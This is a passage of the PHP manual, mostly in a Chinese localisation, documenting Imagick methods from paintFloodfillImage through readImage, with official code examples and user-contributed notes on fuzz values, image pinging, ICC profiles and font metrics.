此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::paintFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Changes the color value of any pixel that matches target and is an immediate neighbor. As of ImageMagick 6.3.8 this method has been deprecated and Imagick::floodfillPaintImage() should be used instead.

参数

fill

ImagickPixel object or a string containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color for the purposes of the floodfill.

bordercolor

ImagickPixel object or a string containing the border color

x

X start position of the floodfill

y

Y start position of the floodfill

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

User Contributed Notes

mamcia at gmail dot com 17-Feb-2011 01:08
Seems that this method doesn't work as expected. Use Imagick::floodFillPaintImage() instead.

<?php
$img = new Imagick('/tmp/test.png');
$img->floodFillPaintImage('green', 10, 'white', 100, 100, false);
$img->writeImage('/tmp/out.png');
$img->clear();
$img->destroy();
?>


Change any pixel that matches color

  • ? Imagick::paintFloodfillImage
  • Imagick::paintTransparentImage ?
  • PHP Manual
  • Imagick
  • Change any pixel that matches color

Imagick::paintOpaqueImage

(PECL imagick 2, PECL imagick 3)

Imagick::paintOpaqueImage — Change any pixel that matches color

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::paintOpaqueImage(
mixed $target,
mixed $fill,
float $fuzz,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Changes any pixel that matches color with the color defined by fill.

参数

target

Change this target color to the fill color within the image. An ImagickPixel object or a string representing the target color.

fill

An ImagickPixel object or a string representing the fill color.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as first and second parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Changes any pixel that matches color with the color defined by fill

  • ? Imagick::paintOpaqueImage
  • Imagick::pingImage ?
  • PHP Manual
  • Imagick
  • Changes any pixel that matches color with the color defined by fill

Imagick::paintTransparentImage

(PECL imagick 2, PECL imagick 3)

Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::paintTransparentImage(mixed $target, float $alpha, float $fuzz): bool

Changes any pixel that matches color with the color defined by fill.

参数

target

Change this target color to specified opacity value within the image.

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

quickshiftin at gmail dot com 07-Oct-2014 04:22
Have a look at this thread on Stackoverflow for the answer regarding how to determine the max intensity of an image.

http://stackoverflow.com/questions/26239130/determine-max-possible-intensity-of-image/26240656#26240656

In short here is the code to make the $fuzz parameter behave more like you would expect (it now represents a percentage between 0-100). The $fuzz value should now be a float between 0 and 1.

class SaneImagick extends Imagick
{
    public function paintTransparentImage($target, $alpha, $fuzz)
    {
        $iQuantumDepth = pow(2, $this->getQuantumDepth()['quantumDepthLong']);
        return parent::paintTransparentImage($target, $alpha, $fuzz * $iQuantumDepth);
    }
}
alain at ocarina dot fr 17-Oct-2011 02:14
The fuzz is just working well in a range of 0 to 65535.

I suggest you to try to move fuzz on a color spectrum image.

1/ Get a color spectrum ( Google Image has a lot )

2/ Try this code :

<?php

    function fuzzTest($source, $target, $fuzz) {

        // Loads image
        $im = new Imagick($source);

        // Resizes images to make them easily comparable
        $im->resizeImage(320, 240, Imagick::FILTER_LANCZOS, 1, true);

        // Apply fuzz
        $im->paintTransparentImage($im->getImagePixelColor(0, 0), 0, $fuzz);

         // Writes image
        $im->setImageFormat('png');
        $im->writeImage($target);
        $im->destroy();

        return true;
     }

     for ($i = 0; ($i <= 10); $i++) {
         fuzzTest('spectrum.png', "test_{$i}.png", (6553.5 * $i));
         echo '<img src="test_' . $i . '.png" />&nbsp;';
     }

 ?>
Anonymous 06-Mar-2009 08:11
Actually it does seem to work just not the way expected perhaps.

Looking at the fuzz option on ImageMagick's site (http://www.imagemagick.org/script/command-line-options.php#fuzz), "The distance can be in absolute intensity units or, by appending % as a percentage of the maximum possible intensity (255, 65535, or 4294967295)."

As it requires a float, the percentage value won't work so it actually one of the max intensity values.  In my case, the images I was working with seemed to have max intensity values of 65535.  So a fuzz of 6500, for roughly 10%, seemed to do the trick.

The part that might be problematic though is how do you determine the max intensity of a color/image?  Using a static 6500 would be fine until I would have to convert an image with a max intensity other than 65535.  If it's 255 it would wipe the entire image.  Or fall far short on the fuzz with the larger value.


Fetch basic attributes about the image

  • ? Imagick::paintTransparentImage
  • Imagick::pingImageBlob ?
  • PHP Manual
  • Imagick
  • Fetch basic attributes about the image

Imagick::pingImage

(PECL imagick 2, PECL imagick 3)

Imagick::pingImage — Fetch basic attributes about the image

说明

public Imagick::pingImage(string $filename): bool

This method can be used to query image width, height, size, and format without reading the whole image in to memory.

参数

filename

The filename to read the information from.

返回值

成功时返回 true。

User Contributed Notes

Gynoid 18-Sep-2015 11:08
Also you can do:

$image = new Imagick($file);
$width = $image->getImageWidth();
$height = $image->getImageHeight();

to catch the witdth/height parameters without use pingImage() initialization.
hello at digitalnature dot eu 31-Jul-2013 11:41
Just a warning: don't use Eero Niemi's code (identifyImage with pingImage) if you just want to get the image width and height, because it will actually be slower than reading the whole image into memory - about 10x slower!

Correct code should be:

<?php

  $image = new Imagick();
  $image->pingImage($file);
  $width = $image->getImageWidth();
  $height = $image->getImageHeight();

?>

(this is around 15 times faster than reading the image in memory)
Sergey 01-Sep-2012 03:06
If you don't sure whether the file exists or not or maybe it's broken, then you should use try - catch construction. It prevents code fails, when code stops execution after call of pingImage (if the file doesn't exist or it's broken).

<?php
$im = new Imagick();
try {
    $im->pingImage('3.jpg');
}
catch(ImagickException $e) {
    echo "image doesn't exist";
}
?>
Eero Niemi (eero at eero dot info) 21-May-2008 07:12
Actually the previous example causes file to be loaded twice on Imagick's stack, proper way to do this is:

<?php

$file = 'foo.jpg';
$image = new Imagick();
$image->pingImage($file);
$image_info = $image->identifyImage();

?>


Quickly fetch attributes

  • ? Imagick::pingImage
  • Imagick::pingImageFile ?
  • PHP Manual
  • Imagick
  • Quickly fetch attributes

Imagick::pingImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::pingImageBlob — Quickly fetch attributes

说明

public Imagick::pingImageBlob(string $image): bool

This method can be used to query image width, height, size, and format without reading the whole image to memory. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

image

A string containing the image.

返回值

成功时返回 true。

示例

Example #1 Using Imagick::pingImageBlob()

Pinging an image from a string

<?php
/* read image contents */
$image = file_get_contents("test.jpg");

/* create new imagick object */
$im = new Imagick();

/* pass the string to the imagick object */
$im->pingImageBlob($image);

/* output image width and height */
echo $im->getImageWidth() . 'x' . $im->getImageHeight();
?>

参见

  • Imagick::pingImage() - Fetch basic attributes about the image
  • Imagick::pingImageFile() - Get basic image attributes in a lightweight manner
  • Imagick::readImage() - Reads image from filename
  • Imagick::readImageBlob() - 从二进制字符串里读取图片
  • Imagick::readImageFile() - Reads image from open filehandle

User Contributed Notes

There are no user contributed notes for this page.


Get basic image attributes in a lightweight manner

  • ? Imagick::pingImageBlob
  • Imagick::polaroidImage ?
  • PHP Manual
  • Imagick
  • Get basic image attributes in a lightweight manner

Imagick::pingImageFile

(PECL imagick 2, PECL imagick 3)

Imagick::pingImageFile — Get basic image attributes in a lightweight manner

说明

public Imagick::pingImageFile(resource $filehandle, string $fileName = ?): bool

This method can be used to query image width, height, size, and format without reading the whole image to memory. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

filehandle

An open filehandle to the image.

fileName

Optional filename for this image.

返回值

成功时返回 true。

示例

Example #1 Using Imagick::pingImageFile()

Opening a remote location

<?php
/* fopen a remote location */
$fp = fopen("http://example.com/test.jpg");

/* create new imagick object */
$im = new Imagick();

/* pass the handle to imagick */
$im->pingImageFile($fp);
?>

参见

  • Imagick::pingImage() - Fetch basic attributes about the image
  • Imagick::pingImageBlob() - Quickly fetch attributes
  • Imagick::readImage() - Reads image from filename
  • Imagick::readImageBlob() - 从二进制字符串里读取图片
  • Imagick::readImageFile() - Reads image from open filehandle

User Contributed Notes

There are no user contributed notes for this page.


Simulates a Polaroid picture

  • ? Imagick::pingImageFile
  • Imagick::posterizeImage ?
  • PHP Manual
  • Imagick
  • Simulates a Polaroid picture

Imagick::polaroidImage

(PECL imagick 2, PECL imagick 3)

Imagick::polaroidImage — Simulates a Polaroid picture

说明

public Imagick::polaroidImage(ImagickDraw $properties, float $angle): bool

Simulates a Polaroid picture. 此方法在Imagick基于ImageMagick 6.3.2以上版本编译时可用。

参数

properties

The polaroid properties

angle

The polaroid angle

返回值

成功时返回 true。

示例

Example #1 A Imagick::polaroidImage() example

An example of using Imagick::polaroidImage()

<?php
/* Create the object */
$image = new Imagick('source.png');

/* Set the opacity */
$image->polaroidImage(new ImagickDraw(), 25);

/* output the image */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Reduces the image to a limited number of color level

  • ? Imagick::polaroidImage
  • Imagick::previewImages ?
  • PHP Manual
  • Imagick
  • Reduces the image to a limited number of color level

Imagick::posterizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::posterizeImage — Reduces the image to a limited number of color level

说明

public Imagick::posterizeImage(int $levels, bool $dither): bool

Reduces the image to a limited number of color level.

参数

levels

dither

返回值

成功时返回 true。

示例

Example #1 Imagick::posterizeImage()

<?php
function posterizeImage($imagePath, $posterizeType, $numberLevels) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->posterizeImage($numberLevels, $posterizeType);
$imagick->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

posterizeImage($imagePath, \Imagick::DITHERMETHOD_RIEMERSMA, 8);

?>

User Contributed Notes

linspb at gmail dot com 24-Jul-2017 02:19
At PHP 7.x before

$im->posterizeimage(2, FALSE);

do

$im->setImageType(imagick::IMGTYPE_COLORSEPARATION);

on PHP 5.x working without setImageType well.

Example:
$im = new Imagick();
$r = $im->readImageBlob($label);
if (!$r) {
    return FALSE;
}
$im->setImageType(imagick::IMGTYPE_COLORSEPARATION);
$im->posterizeimage(2, 0);
$bmp = $im->getImageBlob();


Quickly pin-point appropriate parameters for image processing

  • ? Imagick::posterizeImage
  • Imagick::previousImage ?
  • PHP Manual
  • Imagick
  • Quickly pin-point appropriate parameters for image processing

Imagick::previewImages

(PECL imagick 2, PECL imagick 3)

Imagick::previewImages — Quickly pin-point appropriate parameters for image processing

说明

public Imagick::previewImages(int $preview): bool

Tiles 9 thumbnails of the specified image with an image processing operation applied at varying strengths. This is helpful to quickly pin-point an appropriate parameter for an image processing operation.

参数

preview

Preview type. See Preview type constants

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Move to the previous image in the object

  • ? Imagick::previewImages
  • Imagick::profileImage ?
  • PHP Manual
  • Imagick
  • Move to the previous image in the object

Imagick::previousImage

(PECL imagick 2, PECL imagick 3)

Imagick::previousImage — Move to the previous image in the object

说明

public Imagick::previousImage(): bool

Associates the previous image in an image list with the Imagick object.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Adds or removes a profile from an image

  • ? Imagick::previousImage
  • Imagick::quantizeImage ?
  • PHP Manual
  • Imagick
  • Adds or removes a profile from an image

Imagick::profileImage

(PECL imagick 2, PECL imagick 3)

Imagick::profileImage — Adds or removes a profile from an image

说明

public Imagick::profileImage(string $name, ?string $profile): bool

Adds or removes a ICC, IPTC, or generic profile from an image. If the profile is NULL, it is removed from the image otherwise added. Use a name of '*' and a profile of NULL to remove all profiles from the image.

参数

name

profile

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

dadima, gmail 05-Apr-2014 08:07
If profileImage() seems to be doing nothing — and "inverted colors" during a CMYK > RGB conversion is a sign of this — check that ImageMagick has the lcms delegate available.
From a command prompt:
convert -list configure | grep DELEGATES

If you don't see lcms in the list then Imagick won't do any color profile conversions, and won't give any warnings about this.  In that case, install the Little CMS library ( http://www.littlecms.com/ ) and recompile ImageMagick.
gavin at softyolk dot com 12-Jul-2009 04:28
Thanks for this very valuable information.
For a further push in the correct direction please
consider that you have to download the profiles,

and your most likely sources are:

http://www.color.org/srgbprofiles.xalter

and

http://www.adobe.com/support/downloads/product.jsp?product=62&platform=Windows

Note that the profiles are free, but you must install them
to make them available on you host system.
Eero Niemi (eero at eero dot info) 29-Apr-2008 07:01
If you need to convert images that are on CMYK format into RGB and want to preserve colour information, this may be helpful:

<?php
$image = new Imagick("CMYK_image.jpg"); // load image
$profiles = $image->getImageProfiles('*', false); // get profiles
$has_icc_profile = (array_search('icc', $profiles) !== false); // we're interested if ICC profile(s) exist

if ($has_icc_profile === false)
{
  // image does not have CMYK ICC profile, we add one
  $icc_cmyk = file_get_contents('/path/to/icc/SomeCMYKProfile.icc');
  $image->profileImage('icc', $icc_cmyk);
}

// Then we need to add RGB profile
$icc_rgb = file_get_contents('/path/to/icc/SomeRGBProfile.icc');
$image->profileImage('icc', $icc_rgb);

$image->setImageColorSpace(Imagick::COLORSPACE_RGB);

$image->writeImage("RGB_image.jpg");

?>

There may be better and more elegant ways to do this, but hope this helped.


Analyzes the colors within a reference image

  • ? Imagick::profileImage
  • Imagick::quantizeImages ?
  • PHP Manual
  • Imagick
  • Analyzes the colors within a reference image

Imagick::quantizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::quantizeImage — Analyzes the colors within a reference image

说明

public Imagick::quantizeImage(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool

参数

numberColors

colorspace

treedepth

dither

measureError

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::quantizeImage()

<?php
function quantizeImage($imagePath, $numberColors, $colorSpace, $treeDepth, $dither) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->quantizeImage($numberColors, $colorSpace, $treeDepth, $dither, false);
$imagick->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Analyzes the colors within a sequence of images

  • ? Imagick::quantizeImage
  • Imagick::queryFontMetrics ?
  • PHP Manual
  • Imagick
  • Analyzes the colors within a sequence of images

Imagick::quantizeImages

(PECL imagick 2, PECL imagick 3)

Imagick::quantizeImages — Analyzes the colors within a sequence of images

说明

public Imagick::quantizeImages(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool

参数

numberColors

colorspace

treedepth

dither

measureError

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representing the font metrics

  • ? Imagick::quantizeImages
  • Imagick::queryFonts ?
  • PHP Manual
  • Imagick
  • Returns an array representing the font metrics

Imagick::queryFontMetrics

(PECL imagick 2, PECL imagick 3)

Imagick::queryFontMetrics — Returns an array representing the font metrics

说明

public Imagick::queryFontMetrics(ImagickDraw $properties, string $text, bool $multiline = ?): array

Returns a multi-dimensional array representing the font metrics.

参数

properties

ImagickDraw object containing font properties

text

The text

multiline

Multiline parameter. If left empty it is autodetected

返回值

Returns a multi-dimensional array representing the font metrics.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::queryFontMetrics():

Query the metrics for the text and dump the results on the screen.

<?php
/* Create a new Imagick object */
$im = new Imagick();

/* Create an ImagickDraw object */
$draw = new ImagickDraw();

/* Set the font */
$draw->setFont('/path/to/font.ttf');

/* Dump the font metrics, autodetect multiline */
var_dump($im->queryFontMetrics($draw, "Hello World!"));
?>

User Contributed Notes

stevepburgess at gmail dot com 24-May-2015 10:05
Having spent quite a bit of time looking at these values for various fonts, this is my understanding of the values given by the fontMetrics function. I am using php 5.3 and ImageMagick 6.5.4-7 on Centos 6.5.

characterWidth and characterHeight
- These seem to be related to the size you have specified for the font and don't seem to differ from font to font (at the same size). As such, they are not especially useful (to me, at least). They are not a reliable indicator of how much space the font will use.

ascender
- The ascender is the part of the font that is above the baseline. It is not character related - the ascender value is the same for every character in the font.

descender
- The descender is the part of the font that is below the baseline. It is represented as a negative figure. Adding the absolute values of the ascender and the descender gives you the...

textHeight
- This is the total height available to the font.  It is the same for every character in the font irrespective of its case or how much space the character seems to occupy. This can be used to determined the line height when outputting paragraphs, etc.

textWidth
- This value varies from character to character and is the width of the character. This is useful if the boundingBox does not provide usable values (see boundingBox below). When positioning characters one by one - don't use textWidth, use originX (see below).

maxHorizontalAdvance
- I'm afraid I haven't quite figured out the purpose of this. It is the same for every character in the font. For the font Arial Italic at size 67, the value is 89 which is much wider than the advance reported for the M or the W at the same size.

boundingBox
- This returns an associative array describing the four points (x1, y1, x2, y2) of a rectangle that contain the character. These values are relative to the origin (i.e. the coordinates of where you are drawing the character within an image). The returned rectangle is very accurate and encloses all parts of the printed character completely - but the boundingBox only works on single characters. It will not give accurate figures for multiple characters (in my experience anyway). When drawing a box you need to ADD "x" values to the origin and SUBTRACT "y" values from the origin. You cannot rely on the boundingBox for the SPACE character. It returns a boundingBox of (0,0,0,0).  textWidth (see above) comes in handy here.

originX and originY
- these are inaccurately titled. The values returned in originX and originY are actually advanceX and advanceY. These values give you the position of the next character relative to the current one.

I hope this is useful.
SkepticaLee 04-Feb-2014 05:34
The values do not match the array descriptors at all. If you have to know exactly how much space is being taken up by an annotation, use the following:

<?php
$text = "Algbqdj";
$im = new Imagick ();
$draw = new ImagickDraw ();
$draw->setStrokeColor ("none");
$draw->setFont ("Arial");
$draw->setFontSize (96);
$draw->setTextAlignment (Imagick::ALIGN_LEFT);
$metrics = $im->queryFontMetrics ($draw, $text);
//these are the values which accurately described the extent of the text and where it is to be drawn:
$baseline = $metrics['boundingBox']['y2'];
$textwidth = $metrics['textWidth'] + 2 * $metrics['boundingBox']['x1'];
$textheight = $metrics['textHeight'] + $metrics['descender'];
$draw->annotation (0, $baseline, $text);
$im->newImage ($textwidth, $textheight, "white");
$im->drawImage ($draw);
$draw->clear ();
$im->writeImage ("test.png");
$im->clear ();
?>

The file test.png should now contain pretty much the complete text with no borders. This may not work for very unusual fonts, but will work OK for Times New Roman and Arial.
jlong at carouselchecks dot com 30-May-2013 02:02
Example output from queryFontMetrics:

Array
(
    [characterWidth] => 9
    [characterHeight] => 9
    [ascender] => 9
    [descender] => -2
    [textWidth] => 71
    [textHeight] => 10
    [maxHorizontalAdvance] => 12
    [boundingBox] => Array
        (
            [x1] => 0
            [y1] => -2
            [x2] => 6.890625
            [y2] => 7
        )

    [originX] => 70
    [originY] => 0
)
abcrdw at gmail dot com 18-Sep-2011 10:49
This script will print a watermark on the middle of an image. The width of the watermark will depend on the width of the image.

<?php
// Create a new Imagick object
$objImage = new Imagick( 'path/to/image.jpg' );

// Get the width and height of the image
$imgSize   = $objImage->getImageGeometry();
$imgWidth  = $imgSize['width'];
$imgHeight = $imgSize['height'];

// Create a new text object
$objText = new ImagickDraw();

// Set te text color
$objText->setFillColor( new ImagickPixel('grey') );

// Set the text transparency: 0 = transparent, 1 = opaque
$objText->setFillAlpha( 0.2 );

// Top left will be point of reference
$objText->setGravity( Imagick::GRAVITY_NORTHWEST );

// Create an array for the textwidth and textheight
$textProperties = array( 'textWidth' => 0 );

// Set the desired width of the watermark to 90% of the image width
$textDesiredWidth = intval( $imgWidth * 0.9 );

// Set an initial value for the fontsize, will be increased in the loop below
$fontSize = 0;

// We use the domain name of the server for the watermark text
$text = $_SERVER['SERVER_NAME'];

// Increase the fontsize until we have reached our desired width
while ( $textProperties['textWidth'] <= $textDesiredWidth ) {
    $objText->setFontSize( $fontSize );
    $textProperties = $objImage->queryFontMetrics( $objText, $text );
    $fontSize++;
}

// Calculate the horizontal starting position
$watermarkPosX = intval( ($imgWidth - $textProperties['textWidth']) / 2 );

// Calculate the vertical starting position
$watermarkPosY = floor( ($imgHeight - $textProperties['textHeight']) / 2 );

// Composite the text on the image
$objImage->annotateImage( $objText, $watermarkPosX, $watermarkPosY, 0, $text );

// The browser must know this is JPEG image or else it will display garbled text
header( 'Content-Type: image/jpeg' );

// Display the image
echo $objImage;
?>
thok nojunk at spammail thok dot ca 03-Jan-2011 01:49
The following fields constitute my current PHP 5.2.1/Imagick 6.5.1 queryFontMetrics() return array (once setFontSize() and setFont() have been set):

characterWidth: maximum character ("em") width
characterHeight: maximum character height
ascender: the height of character ascensions (i.e. the straight bit on a 'b')
descender: the height of character descensions (i.e. the straight bit on a 'p')
textWidth: width of drawn text in pixels
textHeight: height of drawn text in pixels
maxHorizontalAdvance: maximum pixels from start of one character to start of the next
boundingBox: array of x1, y1, x2, y2 bounding borders
originX, originY: ?

originX seems to shadow the textWidth field, and originY has been zero thus far in my exploration.

If you're looking to center text or locate it at an edge, though, use ImagickDraw::setGravity(int $gravity), where $gravity is one of the following constants:

Imagick::GRAVITY_NORTHWEST
Imagick::GRAVITY_NORTH
Imagick::GRAVITY_NORTHEAST
Imagick::GRAVITY_WEST
Imagick::GRAVITY_CENTER
Imagick::GRAVITY_EAST
Imagick::GRAVITY_SOUTHWEST
Imagick::GRAVITY_SOUTH
Imagick::GRAVITY_SOUTHEAST

Using setGravity() is far less finicky for the simpler tasks.
george at sogetthis dot com 21-Nov-2010 03:44
Up to and including imagick 3.0.1, queryfontmetrics would output size data based on an image resolution of 72x72. (see bug: http://pecl.php.net/bugs/bug.php?id=19907)

Should you have set a resolution other than this and be using 3.0.1 or below, you need to scale measurements up by a factor of YOUR_RESOLUTION / 72

e.g. assuming you've set a resolution of 300
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72 * (300 / 72));
$data = $im->queryfontmetrics($draw, 'hello world');
var_dump($data);
?>

In 3.0.2 and above, the solution is to set the resolution on the draw object to that of the image resolution
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setResolution(300,300);
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72);
$draw->setFillColor('#ff0000');
$data = $im->queryFontMetrics($draw, $string);

var_dump($data);
?>
Pete &#39;the Pete&#39; de Pijd 29-Jun-2009 06:18
You can also use $imagickDraw()->setTextAlignmnent(Imagick::ALIGN_CENTER) and $imagickDraw->annotation(..) instead.
waage 30-Jan-2008 07:57
You can use this to center a text within a box

<?php

$data = "Hello world";

$text = new ImagickDraw();
$text->setFontSize(12);
$text->setFont("Arial");

$boxWidth = 210;

$im = new Imagick();

$fm = $im->queryFontMetrics($text, $data, false);

$textXLoc = ($boxWidth / 2) - ($fm["textWidth"] / 2);

?>

$textXLoc is now the starting location you need to use to feed to your annotateImage() function.


Returns the configured fonts

  • ? Imagick::queryFontMetrics
  • Imagick::queryFormats ?
  • PHP Manual
  • Imagick
  • Returns the configured fonts

Imagick::queryFonts

(PECL imagick 2, PECL imagick 3)

Imagick::queryFonts — Returns the configured fonts

说明

public static Imagick::queryFonts(string $pattern = "*"): array

Returns the configured fonts.

参数

pattern

The query pattern

返回值

Returns an array containing the configured fonts.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::queryFonts()

<?php
$output = '';
$output .= "Fonts that match 'Helvetica*' are:<br/>";

$fontList = \Imagick::queryFonts("Helvetica*");

foreach ($fontList as $fontName) {
$output .= '<li>'. $fontName."</li>";
}

return $output;

?>

User Contributed Notes

Stefano 24-Apr-2017 02:28
If you want to create a graphical output of the  configured/embedded fonts

function outputFont( $fontName = 'Courier' ) {
    $image = new Imagick();
    $draw = new ImagickDraw();

    $draw->setGravity( Imagick::GRAVITY_CENTER );
    $draw->setFont( $fontName );
    $draw->setFontSize( 12 );
    $draw->setFillColor( 'black' );

    $image->newImage( 300, 20, new ImagickPixel( 'lightblue' ) );
    $image->annotateImage( $draw, 0, 0, 0, $fontName );
    $image->setImageFormat( 'png' );

    $src = 'data: ' . mime_content_type( $image ) . ';base64,' . base64_encode( $image );
    return '<img src="' . $src . '"> ' . $fontName . '<br>';
}

echo '<style>img{vertical-align: middle; margin-bottom: 1px;}</style>';
$fontList = \Imagick::queryFonts( '*' );
foreach ( $fontList as $fontName ) {
    echo outputFont( $fontName );
}


Returns formats supported by Imagick

  • ? Imagick::queryFonts
  • Imagick::radialBlurImage ?
  • PHP Manual
  • Imagick
  • Returns formats supported by Imagick

Imagick::queryFormats

(PECL imagick 2, PECL imagick 3)

Imagick::queryFormats — Returns formats supported by Imagick

说明

public static Imagick::queryFormats(string $pattern = "*"): array

Returns formats supported by Imagick.

参数

pattern

返回值

Returns an array containing the formats supported by Imagick.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::queryFormats()

<?php
function render() {
$output = "";
$input = \Imagick::queryformats();
$columns = 6;

$output .= "<table border='2'>";

for ($i=0; $i < count($input); $i += $columns) {
$output .= "<tr>";
for ($c=0; $c<$columns; $c++) {
$output .= "<td>";
if (($i + $c) < count($input)) {
$output .= $input[$i + $c];
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

?>

User Contributed Notes

kawewong at gmail dot com 21-Jul-2021 05:28
The pattern argument is case sensitive. Example:

<?php
$input = \Imagick::queryformats('PNG*');
?>

The PNG* will be included PNG, PNG00, PNG24, PNG32, PNG48, PNG64, PNG8

(Reference https://www.geeksforgeeks.org/php-imagick-queryformats-function/ )

If you enter png* then it will be return nothing.


Radial blurs an image

  • ? Imagick::queryFormats
  • Imagick::raiseImage ?
  • PHP Manual
  • Imagick
  • Radial blurs an image

Imagick::radialBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::radialBlurImage — Radial blurs an image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::radialBlurImage(float $angle, int $channel = Imagick::CHANNEL_DEFAULT): bool

Radial blurs an image.

参数

angle

channel

返回值

成功时返回 true。

示例

Example #1 Imagick::radialBlurImage()

<?php
function radialBlurImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
//Blur 3 times with different radii
$imagick->radialBlurImage(3);
$imagick->radialBlurImage(5);
$imagick->radialBlurImage(7);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Creates a simulated 3d button-like effect

  • ? Imagick::radialBlurImage
  • Imagick::randomThresholdImage ?
  • PHP Manual
  • Imagick
  • Creates a simulated 3d button-like effect

Imagick::raiseImage

(PECL imagick 2, PECL imagick 3)

Imagick::raiseImage — Creates a simulated 3d button-like effect

说明

public Imagick::raiseImage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): bool

Creates a simulated three-dimensional button-like effect by lightening and darkening the edges of the image. Members width and height of raise_info define the width of the vertical and horizontal edge of the effect.

参数

width

height

x

y

raise

返回值

成功时返回 true。

示例

Example #1 Imagick::raiseImage()

<?php
function raiseImage($imagePath, $width, $height, $x, $y, $raise) {
$imagick = new \Imagick(realpath($imagePath));

//x and y do nothing?
$imagick->raiseImage($width, $height, $x, $y, $raise);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Creates a high-contrast, two-color image

  • ? Imagick::raiseImage
  • Imagick::readImage ?
  • PHP Manual
  • Imagick
  • Creates a high-contrast, two-color image

Imagick::randomThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::randomThresholdImage — Creates a high-contrast, two-color image

说明

public Imagick::randomThresholdImage(float $low, float $high, int $channel = Imagick::CHANNEL_DEFAULT): bool

Changes the value of individual pixels based on the intensity of each pixel compared to threshold. The result is a high-contrast, two color image. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

low

The low point

high

The high point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

示例

Example #1 Imagick::randomThresholdImage()

<?php
function randomThresholdimage($imagePath, $lowThreshold, $highThreshold, $channel) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->randomThresholdimage(
$lowThreshold * \Imagick::getQuantum(),
$highThreshold * \Imagick::getQuantum(),
$channel
);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Reads image from filename

  • ? Imagick::randomThresholdImage
  • Imagick::readImageBlob ?
  • PHP Manual
  • Imagick
  • Reads image from filename

Imagick::readImage

(PECL imagick 2, PECL imagick 3)

Imagick::readImage — Reads image from filename

说明

public Imagick::readImage(string $filename): bool

Reads image from filename

参数

filename

返回值

成功时返回 true。

User Contributed Notes

lindsay at axys dot co dot nz 03-Mar-2015 11:53
If you have just uploaded the PDF and want to generate an image from the first page, the [0] needs to be added to the image name as a text string.

        $filename = getSafeFileName($uploaddir,basename($_FILES['brochure_pdf']['name'], $overwrite));
        $uploadfile = $uploaddir . $filename;
        if (move_uploaded_file($_FILES['brochure_pdf']['tmp_name'], $uploadfile)) {
              $brochure_pdf = $filename;
